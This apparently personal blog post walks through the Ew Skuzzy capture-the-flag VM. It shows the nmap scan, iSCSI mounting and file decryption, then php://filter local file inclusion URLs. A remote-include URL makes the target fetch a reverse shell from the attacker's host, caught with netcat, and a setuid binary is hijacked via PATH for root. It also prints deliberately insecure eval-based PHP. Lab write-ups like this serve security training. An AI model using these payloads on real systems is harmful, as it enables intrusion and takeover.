CyberSlave

Live the life you love.

Ew Skuzzy! CTF Walkthrough

In this post I am going to show you how to solve the Ew Skuzzy CTF provided by vortexau.

After booting the image in VirtualBox we are greeted with the below, showing us the current ip

Fire off nmap for service discovery.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
~/EW_Skuzzy # nmap -A -p- 10.0.2.6 

Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-28 11:00 SAST
sendto in send_ip_packet_sd: sendto(6, packet, 44, 0, 10.0.2.6, 16) => Operation not permitted
Offending packet: TCP 10.0.2.5:43419 > 10.0.2.6:25786 S ttl=57 id=14425 iplen=44  seq=2325605450 win=1024 <mss 1460>
Nmap scan report for 10.0.2.6
Host is up (0.00029s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 89:c2:ae:12:d6:c5:19:4e:68:4a:28:e9:06:bd:9c:19 (RSA)
|_  256 f0:0c:ae:37:10:d3:6d:a2:85:3a:77:04:06:94:f8:0a (ECDSA)
80/tcp   open  http    nginx
|_http-server-header: nginx
|_http-title: Welcome!
3260/tcp open  iscsi?
|_iscsi-info: ERROR: Script execution failed (use -d to debug)
MAC Address: 08:00:27:60:88:83 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.29 ms 10.0.2.6

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.47 seconds

So we have port 22,80 and 3260.

Opening firefox and connecting to the server greets us with:

After running dirbuster and coming up with only trolls, I moved on to port 3260.

Not knowing much about iscsi I went off to do a bit of reading.

Following the instructions set out here mounted the share under /mnt/temp

1
2
/mnt/temp # ls
bobsdisk.dsk  flag1.txt  lost+found

Flag 1

1
2
3
4
5
6
7
/mnt/temp # cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd}

Let's see how you go with the next one...
---------------------------------------------------

Check file type

1
2
/mnt/temp # file bobsdisk.dsk 
bobsdisk.dsk: Linux rev 1.0 ext2 filesystem data, UUID=faef0c66-b61b-4d80-8c20-5e8da65345d4 (large files)

Create directory and mount the disk image

1
2
/mnt/temp # mkdir /mnt/disk
/mnt/temp # mount bobsdisk.dsk /mnt/disk 

List the content of the image

1
2
3
/mnt/disk # ls
lost+found  ToAlice.csv.enc  ToAlice.eml
------------------------------------------------------------

Checking what type of file we have here.

1
2
3
/mnt/disk # file ToAlice.csv.enc 
ToAlice.csv.enc: openssl enc'd data with salted password
------------------------------------------------------------

Flag 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/mnt/disk # cat ToAlice.eml 

G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly. My favourite new Spanish swear came in handy when this happened... supercalifragilisticoespialidoso !

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note. The key is, well, one awesome word I learnt in my recent Spanish classes!

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}

Going off the above clues we decode the email.

1
2
$ openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
password : supercalifragilisticoespialidoso

Flag 3

1
2
3
4
5
6
/mnt/disk # cat ToAlice.csv

Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?

Following the clues in Flag3

http://10.0.2.6/5560a1468022758dba5e92ac8f2353c0

viewing the source gives us some base64 encoded text which decodes to

1
2
3
4
5
6
7
8
9
10
11
12
13
George Costanza: [Soup Nazi gives him a look] Medium turkey chili. 
[instantly moves to the cashier] 
Jerry Seinfeld: Medium crab bisque. 
George Costanza: [looks in his bag and notices no bread in it] I didn't get any bread. 
Jerry Seinfeld: Just forget it. Let it go. 
George Costanza: Um, excuse me, I - I think you forgot my bread. 
Soup Nazi: Bread, $2 extra. 
George Costanza: $2? But everyone in front of me got free bread. 
Soup Nazi: You want bread? 
George Costanza: Yes, please. 
Soup Nazi: $3! 
George Costanza: What? 
Soup Nazi: NO FLAG FOR YOU

http://192.168.56.101/c2444910794e037ebd8aaf257178c90b

Browsing around we can see the site is vulnerable to a LFI

http://10.0.2.6/c2444910794e037ebd8aaf257178c90b/?p=welcome

http://10.0.2.6/c2444910794e037ebd8aaf257178c90b/?p=flag

http://10.0.2.6/c2444910794e037ebd8aaf257178c90b/?p=party

What have we here, below looks vulnerable to a LFI and RFI

http://10.0.2.6/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt

Convert the pages to base64 and download them

Download the flag.php source

http://10.0.2.6/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php

Flag 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
~/EW_Skuzzy # cat flag.php 
<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Flag</h1>
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
<img src="trollface.png" />
<?php
// Ok, ok. Here's your flag! 
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
// 
// Well done, you're doing great so far!
// Next step. SHELL!
//
// 
// Oh. That flag above? You're gonna need it... 
?>

Download reader.php source

http://10.0.2.6/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=reader.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET['url'])) {
    $url = $_GET['url'];
} else {
    print("<a href=\"?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>");
}

if(isset($url) && strlen($url) != '') {

    // Setup some variables.
    $secretok = false;
    $keyneeded = true;

    // Localhost as a source doesn't need to use the key.
    if(preg_match("#^http://127.0.0.1#", $url)) {
        $keyneeded = false;
        $secretok = true;
    }

    // Handle the key validation when it's needed.
    if($keyneeded) {
        $key = $_GET['key'];
        if(is_array($key)) {
            die("Array trick is mitigated ;)");
        }
        if(isset($key) && strlen($key) == '47') {
        $hashedkey = hash('sha256', $key);
            $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

            // If you can use the following code for a timing attack
            // then good luck :) But.. You have the source anyway, right? :)
        if(strcmp($hashedkey, $secret) == 0) {
                $secretok = true;
            } else {
                die("Sorry... Authentication failed. Key was invalid.");
        }

        } else {
            die("Authentication invalid. You might need a key.");
        }
    }

    // Just to make sure the above key check was passed.
    if(!$secretok) {
        die("Something went wrong with the authentication process");
    }

    // Now load the contents of the file we are reading, and parse
    // the super awesomeness of its contents!
    $f = file_get_contents($url);

    $text = preg_split("/##text##/s", $f);

    if(isset($text['1']) && strlen($text['1']) > 0) {
        print($text['1']);
    }

    print "<br /><br />";

    $php = preg_split("/##php##/s", $f);

    if(isset($php['1']) && strlen($php['1']) > 0) {
        eval($php['1']);
        // "If Eval is the answer, you're asking the wrong question!" - SG
        // It hurts me to write insecure code like this, but it is in the
        // name of education, and FUN, so I'll let it slide this time.
    }
}

We know from the above code we require a key and that it needs to be 47 char long. lets try our flag4

http://10.0.2.6/c2444910794e037ebd8aaf257178c90b/?p=reader&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}&url=http://10.0.2.6/c2444910794e037ebd8aaf257178c90b/data.txt

Using the following reverse shell copied to the webserver directory renamed to data.txt and changed the <?php ?> to ##php##

Setup listener

1
2
~/EW_Skuzzy # nc -lvp 8888               
listening on [any] 8888 ...

Browse to the url

http://10.0.2.6/c2444910794e037ebd8aaf257178c90b/?p=reader&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}&url=http://10.0.2.5/data.txt

1
2
3
4
5
6
7
8
9
/opt # nc -lvp 8888
listening on [any] 8888 ...
10.0.2.6: inverse host lookup failed: Unknown host
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.6] 58060
Linux skuzzy 4.4.0-64-generic #85-Ubuntu SMP Mon Feb 20 11:50:30 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 01:12:56 up  6:40,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

Baam we have a reverse shell, lets improve it

1
2
3
4
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@skuzzy:/$ export TERM=xterm
export TERM=xterm
www-data@skuzzy:/$

Lets find some setuid files

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@skuzzy:/$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/sudo
/bin/fusermount
/bin/mount
/bin/su
/bin/ntfs-3g
/bin/ping
/bin/ping6
/bin/umount
/opt/alicebackup

/opt/alicebackup looks interesting, running it we can see it runs the id command before trying to connect to alice.home

1
2
3
4
5
www-data@skuzzy:/opt$ ./alicebackup
./alicebackup
uid=0(root) gid=0(root) groups=0(root),33(www-data)
ssh: Could not resolve hosdtname alice.home: Name or service not known
lost connection

Lets create our own id command

1
2
3
cat /tmp/id
#!/bin/bash
/bin/bash

Change our path so it gets called

1
export PATH=/tmp
1
2
3
4
www-data@skuzzy:/opt$ ./alicebackup
./alicebackup
bash: groups: command not found
root@skuzzy:/opt# 

Fix the PATH

1
2

root@skuzzy:/opt# export PATH=/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin

Flag 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@skuzzy:/root# cat flag.txt
Congratulations!

flag5{42273509a79da5bf49f9d40a10c512dd96d89f6a}

You've found the final flag and pwned this CTF VM!

I really hope this was an enjoyable challenge, and that my trolling and messing with you didn't upset you too much! I had a blast making this VM, so it won't be my last!

I'd love to hear your thoughts on this one.
Too easy?
Too hard?
Too much stuff to install to get the iSCSI initiator working?

Drop me a line on twitter @vortexau, or via email vortex@juicedigital.net

This was great fun and learnt something new, Thanks @vortexau